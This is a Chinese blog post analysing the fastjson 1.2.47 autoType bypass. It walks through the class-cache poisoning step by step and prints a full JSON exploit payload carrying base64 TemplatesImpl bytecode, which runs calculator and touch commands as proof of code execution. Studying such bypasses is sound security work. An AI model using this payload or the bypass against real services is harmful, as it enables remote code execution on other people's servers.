Fork me on GitHub

fastjson1.2.47反序列化分析

我司的业务很少用到java所以之前这个漏洞爆出的时候并没有分析,最近想学一下java安全所以也顺便填一下这个坑。

fastjson 1.2.47 autoType 处理机制

查看PaserConfig.checkAutoType方法,此方法主要实现类型检验:

typeName的长度介于128与3之间会运行一系列的哈希计算,计算出哈希之后开始判断autoType

这里我们可以看到当autoType开启时fastjson会判断这个哈希是否在denyHashCodes中,如果在就会报错。因此也有人fuzz得到了一些黑名单中的类https://github.com/LeadroyaL/fastjson-blacklist。

如果autoType没有开启fastjson则会进行如下判断

从TypeUtils的缓存中寻找该类,或者从反序列化表也即白名单中寻找该类。这次的漏洞便是处在TypeUtils建立的缓存中。

从payload执行过程分析绕过原因

这次我是用的payload是templateImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b":{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADMAOQoACQApCgAqACsIACwKACoALQcALgoABQApCAAvBwAwBwAxAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABVMSmF2YVVuc2VyL1NoZWxsRXhlYzsBAApFeGNlcHRpb25zBwAyAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAzAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHADABAApTb3VyY2VGaWxlAQAOU2hlbGxFeGVjLmphdmEMAAoACwcANAwANQA2AQASb3BlbiAtYSBDYWxjdWxhdG9yDAA3ADgBABNKYXZhVW5zZXIvU2hlbGxFeGVjAQARdG91Y2ggL3RtcC9uaW1hZGUBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAJAAAAAAAFAAEACgALAAIADAAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgANAAAADgADAAAAEwAEABQADQAVAA4AAAAMAAEAAAAOAA8AEAAAABEAAAAEAAEAEgABABMAFAABAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAGAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAFQAWAAEAAAABABcAGAACAAAAAQAZABoAAwABABMAGwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAGwAOAAAAIAADAAAAAQAPABAAAAAAAAEAFQAWAAEAAAABABwAHQACABEAAAAEAAEAHgAJAB8AIAACAAwAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAA0AAAAKAAIAAAAeAAgAHwAOAAAAFgACAAAACQAhACIAAAAIAAEAIwAQAAEAEQAAAAQAAQAIAAgAJAALAAEADAAAAE8AAgABAAAADrgAAhIHtgAEV6cABEuxAAEAAAAJAAwACAADAA0AAAASAAQAAAAOAAkAEQAMAA8ADQASAA4AAAACAAAAJQAAAAcAAkwHACYAAAEAJwAAAAIAKA=="],
"_name":"a.b",
"_tfactory":{ },
"_outputProperties":{ },
"_name":"a",
"_version":"1.0",
"allowedProtocols":"all"
}

IDEA启动调试看一下为什么这个payload能绕过autoType限制。

反序列化流程的主要出发点在

我们跟进DefaultJSONParser.parse方法,开始是很多的lexer解析相关的操作。直接跳到对key为@type的处理

这里走到了我们之前提到的checkAutoType的操作,此时我们的类型为java.lang.Class,跟进checkAutoType分析,首先会进入TypeUtils.getClassFromMapping中看此类是否存在于我们的缓存类中。我们可以下断点看一下缓存类中都有哪些东西

这个map中并没有我们想要的java.lang.Class,且此时也没有我们想要的templatesImpl类。

继续跟进可以看到java.lang.Class正在ParseConfig.deserializers

因此我们可以直接得到我们该类型。

获取类型后继续跟进可以看到会用java.lang.Class的反序列化器即MiscCodec来反序列化java.lang.Class类。

跟进反序列化过程,又是一段很长的编译原理相关的lexer解析过程。解析出来val的键com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

之后便进行类的反序列化过程,在判断了是否为一些类之后进入如下分支

进入TypeUtils.loadClass方法,可以看到这次会通过classLoader生成类后把TemplatesImpl放到缓存map中

我们想要的类已经进入了mapping。

之后序列化b时mapping中存在TemplatesImpl类可以返回我们的TemplatesImpl类了,一切操作便像之前的反序列化漏洞相同了,通过JavaBeanDeserializer.deserialze来调用TemplatesImpl类的setXXX方法来RCE.可以参考http://hexo.imagemlt.xyz/post/java-unserialize-learning-3/index.html.

最后放个弹计算器的图片来结束这篇文章。web安全虽然入门容易,但是要成为跟orange等大牛一样厉害的国际大黑客还是需要学很多很多。